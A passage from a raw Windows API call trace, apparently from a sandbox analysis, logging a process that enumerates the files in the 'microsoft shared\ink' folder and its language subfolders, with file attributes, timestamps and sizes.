ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0163.607] SetEvent (hEvent=0x29c) returned 1 [0163.607] ResetEvent (hEvent=0x2a0) returned 1 [0163.610] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0163.610] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0163.610] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0163.610] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0163.610] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0163.610] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0163.611] SetEvent (hEvent=0x29c) returned 1 [0163.611] ResetEvent (hEvent=0x2a0) returned 1 [0163.613] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0163.613] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0163.614] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0163.614] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.614] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0163.614] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0163.614] FindClose (in: hFindFile=0x1d15d0 | out: hFindFile=0x1d15d0) returned 1 [0163.614] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.614] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="es-ES", cAlternateFileName="")) returned 1 [0163.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d15d0 [0163.615] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.615] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.615] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.615] FindClose (in: hFindFile=0x1d15d0 | out: hFindFile=0x1d15d0) returned 1 [0163.615] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.615] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="es-MX", cAlternateFileName="")) returned 1 [0163.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1b50 [0163.616] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.616] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.616] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.616] FindClose (in: hFindFile=0x1d1b50 | out: hFindFile=0x1d1b50) returned 1 [0163.616] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.616] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="et-EE", cAlternateFileName="")) returned 1 [0163.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1410 [0163.617] FindNextFileW (in: hFindFile=0x1d1410, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.617] FindNextFileW (in: hFindFile=0x1d1410, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.617] FindNextFileW (in: hFindFile=0x1d1410, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.617] FindClose (in: hFindFile=0x1d1410 | out: hFindFile=0x1d1410) returned 1 [0163.617] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.617] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0163.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1650 [0163.617] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.618] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.618] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.618] FindClose (in: hFindFile=0x1d1650 | out: hFindFile=0x1d1650) returned 1 [0163.618] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.618] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x82, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0163.618] SetEvent (hEvent=0x29c) returned 1 [0163.619] ResetEvent (hEvent=0x2a0) returned 1 [0163.622] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x82, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0163.622] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0163.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1890 [0163.622] FindNextFileW (in: hFindFile=0x1d1890, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.622] FindNextFileW (in: hFindFile=0x1d1890, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.622] FindNextFileW (in: hFindFile=0x1d1890, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.622] FindClose (in: hFindFile=0x1d1890 | out: hFindFile=0x1d1890) returned 1 [0163.623] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.623] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0163.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1590 [0163.623] FindNextFileW (in: hFindFile=0x1d1590, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.623] FindNextFileW (in: hFindFile=0x1d1590, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.623] FindNextFileW (in: hFindFile=0x1d1590, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, 